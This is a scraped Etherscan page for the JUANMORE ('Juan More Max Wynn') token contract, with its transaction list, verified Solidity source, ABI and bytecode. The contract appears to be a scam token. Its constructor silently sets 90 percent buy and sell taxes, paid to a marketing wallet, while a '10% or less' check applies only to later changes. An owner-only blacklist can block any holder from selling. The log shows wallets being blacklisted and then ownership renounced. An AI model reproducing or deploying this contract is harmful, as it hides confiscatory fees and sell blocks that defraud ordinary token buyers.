ETH Price: $3,190.30 (+4.83%)

Contract

0x100be65500Ab28893EE4f4085d7C01141B8E360B
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve190439502024-01-19 22:39:47360 days ago1705703987IN
0x100be655...41B8E360B
0 ETH0.0008911319.13
Approve190314622024-01-18 4:47:59362 days ago1705553279IN
0x100be655...41B8E360B
0 ETH0.0013747429.51174546
Approve190300332024-01-18 0:00:11362 days ago1705536011IN
0x100be655...41B8E360B
0 ETH0.0015376233.05087597
Approve190275712024-01-17 15:43:11362 days ago1705506191IN
0x100be655...41B8E360B
0 ETH0.0023803451.16483051
Approve190256402024-01-17 9:13:47363 days ago1705482827IN
0x100be655...41B8E360B
0 ETH0.0020449343.89874104
Approve190255292024-01-17 8:51:35363 days ago1705481495IN
0x100be655...41B8E360B
0 ETH0.0013808329.68068998
Approve190254582024-01-17 8:37:11363 days ago1705480631IN
0x100be655...41B8E360B
0 ETH0.0013440729.04798564
Approve190253772024-01-17 8:20:59363 days ago1705479659IN
0x100be655...41B8E360B
0 ETH0.001909941
Approve190251822024-01-17 7:41:47363 days ago1705477307IN
0x100be655...41B8E360B
0 ETH0.0014552931.45154824
Approve190251702024-01-17 7:39:23363 days ago1705477163IN
0x100be655...41B8E360B
0 ETH0.0016662335.76923379
Approve190249882024-01-17 7:02:47363 days ago1705474967IN
0x100be655...41B8E360B
0 ETH0.0015648933.7938795
Approve190249092024-01-17 6:46:59363 days ago1705474019IN
0x100be655...41B8E360B
0 ETH0.0015019932.24345717
Approve190248852024-01-17 6:42:11363 days ago1705473731IN
0x100be655...41B8E360B
0 ETH0.0018741240.23203371
Approve190248462024-01-17 6:34:11363 days ago1705473251IN
0x100be655...41B8E360B
0 ETH0.001530332.85106584
Approve190248462024-01-17 6:34:11363 days ago1705473251IN
0x100be655...41B8E360B
0 ETH0.001530332.85106584
Approve190248452024-01-17 6:33:59363 days ago1705473239IN
0x100be655...41B8E360B
0 ETH0.0015363832.98167626
Approve190248442024-01-17 6:33:47363 days ago1705473227IN
0x100be655...41B8E360B
0 ETH0.0015351232.95456239
Renounce Ownersh...190248422024-01-17 6:33:23363 days ago1705473203IN
0x100be655...41B8E360B
0 ETH0.0007042730.23678317
Black List Walle...190248022024-01-17 6:25:23363 days ago1705472723IN
0x100be655...41B8E360B
0 ETH0.0015575833.24272536
Approve190248012024-01-17 6:25:11363 days ago1705472711IN
0x100be655...41B8E360B
0 ETH0.0016075434.50928979
Un Black List Wa...190247792024-01-17 6:20:47363 days ago1705472447IN
0x100be655...41B8E360B
0 ETH0.0007753831.01666389
Approve190247612024-01-17 6:17:11363 days ago1705472231IN
0x100be655...41B8E360B
0 ETH0.0013754229.56449645
Approve190247612024-01-17 6:17:11363 days ago1705472231IN
0x100be655...41B8E360B
0 ETH0.0013754229.56449645
Black List Walle...190247562024-01-17 6:16:11363 days ago1705472171IN
0x100be655...41B8E360B
0 ETH0.0013394628.58745159
Approve190247552024-01-17 6:15:59363 days ago1705472159IN
0x100be655...41B8E360B
0 ETH0.0015578233.44188839
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
JUANMORE

Compiler Version
v0.8.22+commit.4fc1097e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-01-17
*/

/*
https://t.me/JUANMOREWYNN

https://JUANMOREWYNN.com

https://X.com/JUANMOREWYNN
*/

// SPDX-License-Identifier: MIT
pragma solidity 0.8.22;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

contract Ownable {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        _owner = msg.sender;
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(isOwner());
        _;
    }

    function isOwner() private view returns (bool) {
        return msg.sender == _owner;
    }

    function renounceOwnership() public onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public onlyOwner {
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal {
        require(newOwner != address(0));
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);
}

contract JUANMORE is Context, IERC20, Ownable {
    using SafeMath for uint256;
    
    string private constant _name = "Juan More Max Wynn";
    string private constant _symbol = "JUANMORE";
    uint256 private constant _totalSupply = 1_000_000_000 * 10**18;
    uint256 public maxWalletlimit = 20_000_001 * 10**18; // 1.5%
    uint256 public maxTxLimit = 20_000_001 * 10**18;
    uint256 public minSwap = 500_000 * 10**18;
    uint8 private constant _decimals = 18;

    IUniswapV2Router02 immutable uniswapV2Router;
    address immutable uniswapV2Pair;
    address immutable WETH;
    address payable public marketingWallet;
    bool public isOpen = false;
    mapping (address => bool) public _isBlacklisted;

    uint256 public buyTax;
    uint256 public sellTax;
    uint8 private inSwapAndLiquify;

    mapping(address => uint256) private _balance;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFees;

    constructor() {
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        WETH = uniswapV2Router.WETH();
        buyTax = 90;
        sellTax = 90;

        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            WETH
        );

        marketingWallet = payable(0x66f7BBD24D9cA6Cc1d1A16d9b0539Ec5bB3aFcCd);
        _balance[msg.sender] = _totalSupply;
        _isExcludedFromFees[marketingWallet] = true;
        _isExcludedFromFees[msg.sender] = true;
        _isExcludedFromFees[address(this)] = true;
        _isExcludedFromFees[address(uniswapV2Router)] = true;
        _allowances[address(this)][address(uniswapV2Router)] = type(uint256)
            .max;
        _allowances[msg.sender][address(uniswapV2Router)] = type(uint256).max;
        _allowances[marketingWallet][address(uniswapV2Router)] = type(uint256)
            .max;

        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balance[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()] - amount
        );
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    
    
    function RemoveLimits() external onlyOwner {
        maxWalletlimit = _totalSupply;
        maxTxLimit = _totalSupply;
    }
    

    function ChangeTax(uint256 newBuyTax, uint256 newSellTax) external onlyOwner {
        require(newBuyTax <= 10, "Must keep fees at 10% or less");
        require(newSellTax <= 10, "Must keep fees at 10% or less");
        buyTax = newBuyTax;
        sellTax = newSellTax;
    }

    
    function EnableTrading() external onlyOwner {
        isOpen = true;
    }
    
        
    function BlackListWallet(address[] calldata addresses) external onlyOwner {
      for (uint256 i; i < addresses.length; ++i) {
        _isBlacklisted[addresses[i]] = true;
      }
    }
     
    function UnBlackListWallet(address[] calldata addresses) external onlyOwner {
      for (uint256 i; i < addresses.length; ++i) {
        _isBlacklisted[addresses[i]] = false;
      }
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(amount > 1e9, "Min transfer amt");
        require(isOpen || _isExcludedFromFees[from] || _isExcludedFromFees[to], "Not Open");
        require(!_isBlacklisted[from] && !_isBlacklisted[to], "To/from address is blacklisted!");

        uint256 _tax;
        if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            _tax = 0;
        } else {

            if (inSwapAndLiquify == 1) {
                //No tax transfer
                _balance[from] -= amount;
                _balance[to] += amount;

                emit Transfer(from, to, amount);
                return;
            }

            if (from == uniswapV2Pair) {
                require(balanceOf(to).add(amount) <= maxWalletlimit);
                require(amount <= maxTxLimit, "Buy transfer amount exceeds the maxTxLimit.");
                _tax = buyTax;
            } else if (to == uniswapV2Pair) {
                uint256 tokensToSwap = _balance[address(this)];
                if (tokensToSwap > minSwap && inSwapAndLiquify == 0) {
                    inSwapAndLiquify = 1;
                    address[] memory path = new address[](2);
                    path[0] = address(this);
                    path[1] = WETH;
                    uniswapV2Router
                        .swapExactTokensForETHSupportingFeeOnTransferTokens(
                            tokensToSwap,
                            0,
                            path,
                            marketingWallet,
                            block.timestamp
                        );
                    inSwapAndLiquify = 0;
                }
                _tax = sellTax;
            } else {
                _tax = 0;
            }
        }
        


        //Is there tax for sender|receiver?
        if (_tax != 0) {
            //Tax transfer
            uint256 taxTokens = (amount * _tax) / 100;
            uint256 transferAmount = amount - taxTokens;

            _balance[from] -= amount;
            _balance[to] += transferAmount;
            _balance[address(this)] += taxTokens;
            emit Transfer(from, address(this), taxTokens);
            emit Transfer(from, to, transferAmount);
        } else {
            //No tax transfer
            _balance[from] -= amount;
            _balance[to] += amount;

            emit Transfer(from, to, amount);
        }
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"}],"name":"BlackListWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBuyTax","type":"uint256"},{"internalType":"uint256","name":"newSellTax","type":"uint256"}],"name":"ChangeTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"EnableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"RemoveLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"}],"name":"UnBlackListWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isBlacklisted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"isOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletlimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60e06040526a108b2a3a08b9443b64000060018190556002556969e10de76676d08000006003556004805460ff60a01b191690553480156200003f575f80fd5b505f80546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3737a250d5630b4cf539739df2c5dacb4c659f2488d6080819052604080516315ab88c960e31b8152905163ad5c4648916004808201926020929091908290030181865afa158015620000d2573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620000f891906200033a565b6001600160a01b0390811660c052605a60068190556007556080516040805163c45a015560e01b81529051919092169163c45a01559160048083019260209291908290030181865afa15801562000151573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200017791906200033a565b60c0516040516364e329cb60e11b81523060048201526001600160a01b03918216602482015291169063c9c65396906044016020604051808303815f875af1158015620001c6573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001ec91906200033a565b6001600160a01b0390811660a052600480546001600160a01b0319167366f7bbd24d9ca6cc1d1a16d9b0539ec5bb3afccd178155335f8181526009602090815260408083206b033b2e3c9fd0803ce80000009055845486168352600b8252808320805460ff1990811660019081179092558585528285208054821683179055308086528386208054831684179055608051891680875284872080549093169093179091558452600a80845282852082865284528285205f199081905595855280845282852082865284528285208690559554909616835293815283822094825293909352912055620002db3390565b6001600160a01b03165f6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6b033b2e3c9fd0803ce80000006040516200032c91815260200190565b60405180910390a362000369565b5f602082840312156200034b575f80fd5b81516001600160a01b038116811462000362575f80fd5b9392505050565b60805160a05160c0516113456200039b5f395f610d6001525f8181610bc20152610c9f01525f610dbb01526113455ff3fe608060405260043610610164575f3560e01c806359cd9031116100cd5780638da5cb5b11610087578063cc1776d311610062578063cc1776d314610440578063d50a72a614610455578063dd62ed3e14610474578063f2fde38b146104b8575f80fd5b80638da5cb5b146103d557806395d89b41146103f1578063a9059cbb14610421575f80fd5b806359cd90311461031757806370a082311461032c578063715018a61461036057806375f0a874146103745780638036d590146103ab57806389e40cf9146103c0575f80fd5b80632f6bc9e71161011e5780632f6bc9e714610275578063313ce5671461029457806347535d7b146102af5780634f7041a5146102cf5780635165943f146102e457806356cd40e714610303575f80fd5b806306fdde031461016f578063095ea7b3146101bb57806318160ddd146101ea5780631cdd3be3146102125780631d97b7cd1461024057806323b872dd14610256575f80fd5b3661016b57005b5f80fd5b34801561017a575f80fd5b50604080518082019091526012815271253ab0b71026b7b9329026b0bc102bbcb73760711b60208201525b6040516101b29190611079565b60405180910390f35b3480156101c6575f80fd5b506101da6101d53660046110e0565b6104d7565b60405190151581526020016101b2565b3480156101f5575f80fd5b506b033b2e3c9fd0803ce80000005b6040519081526020016101b2565b34801561021d575f80fd5b506101da61022c366004611108565b60056020525f908152604090205460ff1681565b34801561024b575f80fd5b506102546104ed565b005b348015610261575f80fd5b506101da610270366004611121565b610517565b348015610280575f80fd5b5061025461028f36600461115a565b610567565b34801561029f575f80fd5b50604051601281526020016101b2565b3480156102ba575f80fd5b506004546101da90600160a01b900460ff1681565b3480156102da575f80fd5b5061020460065481565b3480156102ef575f80fd5b506102546102fe36600461117a565b61062e565b34801561030e575f80fd5b506102546106ac565b348015610322575f80fd5b5061020460035481565b348015610337575f80fd5b50610204610346366004611108565b6001600160a01b03165f9081526009602052604090205490565b34801561036b575f80fd5b506102546106d8565b34801561037f575f80fd5b50600454610393906001600160a01b031681565b6040516001600160a01b0390911681526020016101b2565b3480156103b6575f80fd5b5061020460025481565b3480156103cb575f80fd5b5061020460015481565b3480156103e0575f80fd5b505f546001600160a01b0316610393565b3480156103fc575f80fd5b506040805180820190915260088152674a55414e4d4f524560c01b60208201526101a5565b34801561042c575f80fd5b506101da61043b3660046110e0565b610735565b34801561044b575f80fd5b5061020460075481565b348015610460575f80fd5b5061025461046f36600461117a565b610741565b34801561047f575f80fd5b5061020461048e3660046111e9565b6001600160a01b039182165f908152600a6020908152604080832093909416825291909152205490565b3480156104c3575f80fd5b506102546104d2366004611108565b6107bb565b5f6104e33384846107dc565b5060015b92915050565b5f546001600160a01b03163314610502575f80fd5b6004805460ff60a01b1916600160a01b179055565b5f6105238484846108ff565b6001600160a01b0384165f908152600a602090815260408083203380855292529091205461055d91869161055890869061122e565b6107dc565b5060019392505050565b5f546001600160a01b0316331461057c575f80fd5b600a8211156105d25760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420313025206f72206c65737300000060448201526064015b60405180910390fd5b600a8111156106235760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420313025206f72206c65737300000060448201526064016105c9565b600691909155600755565b5f546001600160a01b03163314610643575f80fd5b5f5b818110156106a7575f60055f85858581811061066357610663611241565b90506020020160208101906106789190611108565b6001600160a01b0316815260208101919091526040015f20805460ff1916911515919091179055600101610645565b505050565b5f546001600160a01b031633146106c1575f80fd5b6b033b2e3c9fd0803ce80000006001819055600255565b5f546001600160a01b031633146106ed575f80fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f6104e33384846108ff565b5f546001600160a01b03163314610756575f80fd5b5f5b818110156106a757600160055f85858581811061077757610777611241565b905060200201602081019061078c9190611108565b6001600160a01b0316815260208101919091526040015f20805460ff1916911515919091179055600101610758565b5f546001600160a01b031633146107d0575f80fd5b6107d981610fa9565b50565b6001600160a01b03831661083e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105c9565b6001600160a01b03821661089f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105c9565b6001600160a01b038381165f818152600a602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109635760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105c9565b633b9aca0081116109a95760405162461bcd60e51b815260206004820152601060248201526f135a5b881d1c985b9cd9995c88185b5d60821b60448201526064016105c9565b600454600160a01b900460ff16806109d857506001600160a01b0383165f908152600b602052604090205460ff165b806109fa57506001600160a01b0382165f908152600b602052604090205460ff165b610a315760405162461bcd60e51b81526020600482015260086024820152672737ba1027b832b760c11b60448201526064016105c9565b6001600160a01b0383165f9081526005602052604090205460ff16158015610a7157506001600160a01b0382165f9081526005602052604090205460ff16155b610abd5760405162461bcd60e51b815260206004820152601f60248201527f546f2f66726f6d206164647265737320697320626c61636b6c6973746564210060448201526064016105c9565b6001600160a01b0383165f908152600b602052604081205460ff1680610afa57506001600160a01b0383165f908152600b602052604090205460ff165b15610b0657505f610e3e565b60085460ff16600103610bc0576001600160a01b0384165f9081526009602052604081208054849290610b3a90849061122e565b90915550506001600160a01b0383165f9081526009602052604081208054849290610b66908490611255565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610bb291815260200190565b60405180910390a350505050565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316846001600160a01b031603610c9d57600154610c2483610c1e866001600160a01b03165f9081526009602052604090205490565b90611014565b1115610c2e575f80fd5b600254821115610c945760405162461bcd60e51b815260206004820152602b60248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201526a36b0bc2a3c2634b6b4ba1760a91b60648201526084016105c9565b50600654610e3e565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316836001600160a01b031603610e3b57305f9081526009602052604090205460035481118015610cf9575060085460ff16155b15610e31576008805460ff191660011790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610d3e57610d3e611241565b60200260200101906001600160a01b031690816001600160a01b0316815250507f000000000000000000000000000000000000000000000000000000000000000081600181518110610d9257610d92611241565b6001600160a01b0392831660209182029290920101526004805460405163791ac94760e01b81527f000000000000000000000000000000000000000000000000000000000000000084169363791ac94793610df89388935f938993921691429101611268565b5f604051808303815f87803b158015610e0f575f80fd5b505af1158015610e21573d5f803e3d5ffd5b50506008805460ff191690555050505b5050600754610e3e565b505f5b8015610f7c575f6064610e5183856112d9565b610e5b91906112f0565b90505f610e68828561122e565b6001600160a01b0387165f90815260096020526040812080549293508692909190610e9490849061122e565b90915550506001600160a01b0385165f9081526009602052604081208054839290610ec0908490611255565b9091555050305f9081526009602052604081208054849290610ee3908490611255565b909155505060405182815230906001600160a01b038816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610f6d91815260200190565b60405180910390a35050610fa3565b6001600160a01b0384165f9081526009602052604081208054849290610b3a90849061122e565b50505050565b6001600160a01b038116610fbb575f80fd5b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b5f806110208385611255565b9050838110156110725760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105c9565b9392505050565b5f602080835283518060208501525f5b818110156110a557858101830151858201604001528201611089565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b03811681146110db575f80fd5b919050565b5f80604083850312156110f1575f80fd5b6110fa836110c5565b946020939093013593505050565b5f60208284031215611118575f80fd5b611072826110c5565b5f805f60608486031215611133575f80fd5b61113c846110c5565b925061114a602085016110c5565b9150604084013590509250925092565b5f806040838503121561116b575f80fd5b50508035926020909101359150565b5f806020838503121561118b575f80fd5b823567ffffffffffffffff808211156111a2575f80fd5b818501915085601f8301126111b5575f80fd5b8135818111156111c3575f80fd5b8660208260051b85010111156111d7575f80fd5b60209290920196919550909350505050565b5f80604083850312156111fa575f80fd5b611203836110c5565b9150611211602084016110c5565b90509250929050565b634e487b7160e01b5f52601160045260245ffd5b818103818111156104e7576104e761121a565b634e487b7160e01b5f52603260045260245ffd5b808201808211156104e7576104e761121a565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156112b85784516001600160a01b031683529383019391830191600101611293565b50506001600160a01b03969096166060850152505050608001529392505050565b80820281158282048414176104e7576104e761121a565b5f8261130a57634e487b7160e01b5f52601260045260245ffd5b50049056fea2646970667358221220cfd16c1b0f252299bb807558d2923203505bff948e03812cd8b9dc82e669514a64736f6c63430008160033

Deployed Bytecode

0x608060405260043610610164575f3560e01c806359cd9031116100cd5780638da5cb5b11610087578063cc1776d311610062578063cc1776d314610440578063d50a72a614610455578063dd62ed3e14610474578063f2fde38b146104b8575f80fd5b80638da5cb5b146103d557806395d89b41146103f1578063a9059cbb14610421575f80fd5b806359cd90311461031757806370a082311461032c578063715018a61461036057806375f0a874146103745780638036d590146103ab57806389e40cf9146103c0575f80fd5b80632f6bc9e71161011e5780632f6bc9e714610275578063313ce5671461029457806347535d7b146102af5780634f7041a5146102cf5780635165943f146102e457806356cd40e714610303575f80fd5b806306fdde031461016f578063095ea7b3146101bb57806318160ddd146101ea5780631cdd3be3146102125780631d97b7cd1461024057806323b872dd14610256575f80fd5b3661016b57005b5f80fd5b34801561017a575f80fd5b50604080518082019091526012815271253ab0b71026b7b9329026b0bc102bbcb73760711b60208201525b6040516101b29190611079565b60405180910390f35b3480156101c6575f80fd5b506101da6101d53660046110e0565b6104d7565b60405190151581526020016101b2565b3480156101f5575f80fd5b506b033b2e3c9fd0803ce80000005b6040519081526020016101b2565b34801561021d575f80fd5b506101da61022c366004611108565b60056020525f908152604090205460ff1681565b34801561024b575f80fd5b506102546104ed565b005b348015610261575f80fd5b506101da610270366004611121565b610517565b348015610280575f80fd5b5061025461028f36600461115a565b610567565b34801561029f575f80fd5b50604051601281526020016101b2565b3480156102ba575f80fd5b506004546101da90600160a01b900460ff1681565b3480156102da575f80fd5b5061020460065481565b3480156102ef575f80fd5b506102546102fe36600461117a565b61062e565b34801561030e575f80fd5b506102546106ac565b348015610322575f80fd5b5061020460035481565b348015610337575f80fd5b50610204610346366004611108565b6001600160a01b03165f9081526009602052604090205490565b34801561036b575f80fd5b506102546106d8565b34801561037f575f80fd5b50600454610393906001600160a01b031681565b6040516001600160a01b0390911681526020016101b2565b3480156103b6575f80fd5b5061020460025481565b3480156103cb575f80fd5b5061020460015481565b3480156103e0575f80fd5b505f546001600160a01b0316610393565b3480156103fc575f80fd5b506040805180820190915260088152674a55414e4d4f524560c01b60208201526101a5565b34801561042c575f80fd5b506101da61043b3660046110e0565b610735565b34801561044b575f80fd5b5061020460075481565b348015610460575f80fd5b5061025461046f36600461117a565b610741565b34801561047f575f80fd5b5061020461048e3660046111e9565b6001600160a01b039182165f908152600a6020908152604080832093909416825291909152205490565b3480156104c3575f80fd5b506102546104d2366004611108565b6107bb565b5f6104e33384846107dc565b5060015b92915050565b5f546001600160a01b03163314610502575f80fd5b6004805460ff60a01b1916600160a01b179055565b5f6105238484846108ff565b6001600160a01b0384165f908152600a602090815260408083203380855292529091205461055d91869161055890869061122e565b6107dc565b5060019392505050565b5f546001600160a01b0316331461057c575f80fd5b600a8211156105d25760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420313025206f72206c65737300000060448201526064015b60405180910390fd5b600a8111156106235760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420313025206f72206c65737300000060448201526064016105c9565b600691909155600755565b5f546001600160a01b03163314610643575f80fd5b5f5b818110156106a7575f60055f85858581811061066357610663611241565b90506020020160208101906106789190611108565b6001600160a01b0316815260208101919091526040015f20805460ff1916911515919091179055600101610645565b505050565b5f546001600160a01b031633146106c1575f80fd5b6b033b2e3c9fd0803ce80000006001819055600255565b5f546001600160a01b031633146106ed575f80fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f6104e33384846108ff565b5f546001600160a01b03163314610756575f80fd5b5f5b818110156106a757600160055f85858581811061077757610777611241565b905060200201602081019061078c9190611108565b6001600160a01b0316815260208101919091526040015f20805460ff1916911515919091179055600101610758565b5f546001600160a01b031633146107d0575f80fd5b6107d981610fa9565b50565b6001600160a01b03831661083e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a2061707072